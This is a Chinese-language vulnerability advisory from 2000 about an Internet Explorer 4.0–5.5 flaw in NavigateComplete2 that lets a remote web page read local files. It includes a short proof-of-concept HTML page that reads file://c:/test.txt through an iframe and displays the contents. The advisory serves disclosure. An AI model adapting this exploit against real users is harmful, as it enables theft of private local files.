发布日期：2000-06-07
更新日期：2000-06-08

受影响系统：

Microsoft Internet Explorer 5.5 preview
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0
Microsoft Internet Explorer 5.01
   + Microsoft Windows 98
   + Microsoft Windows 95
   + Microsoft Windows NT 4.0
   + Microsoft Windows NT 2000
Microsoft Internet Explorer 5.0 for Windows NT 4.0
   + Microsoft Windows NT 4.0
Microsoft Internet Explorer 5.0 for Windows 98
   + Microsoft Windows 98
Microsoft Internet Explorer 5.0 for Windows 95
   + Microsoft Windows 95
Microsoft Internet Explorer 5.0 for Windows 2000
   - Microsoft Windows NT 2000
Microsoft Internet Explorer 4.0 for Windows NT 4.0
   + Microsoft Windows NT 4.0
Microsoft Internet Explorer 4.0 for Windows NT 3.51
   - Microsoft Windows NT 3.5.1
Microsoft Internet Explorer 4.0 for Windows 98
   + Microsoft Windows 98
Microsoft Internet Explorer 4.0 for Windows 95
   + Microsoft Windows 95
Microsoft Internet Explorer 4.0 for WfW
   + Microsoft Windows 3.11WfW

描述：

---

IE里的 NavigateComplete2 函数没有正确地验证源域。于是当你访问一个WWW服务的
时候，本地文件有可能被远程WWW服务器读取。攻击者只能读取那些他能猜测到路径
和文件名的本地文件。

<* 来源：Georgi Guninski joro@nat.bg *>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

    Georgi Guninski <joro@nat.bg> 建立了一个演示页面：
    http://www.nat.bg/~joro/frame2.html

   下面是代码内容：

------frame2.html--------------------------------
<IFRAME  ID="I1"></IFRAME>
<SCRIPT for=I1 event="NavigateComplete2(b)">
alert("Here is your file:\n"+b.document.body.innerText);
</SCRIPT>
<SCRIPT>
I1.navigate("file://c:/test.txt");
setTimeout('I1.navigate("file://c:/test.txt")',1000);
</SCRIPT>
---------------------------------------------------


建议：

---

临时解决方案，禁止java script

浏览次数：6586
严重程度：0（网友投票）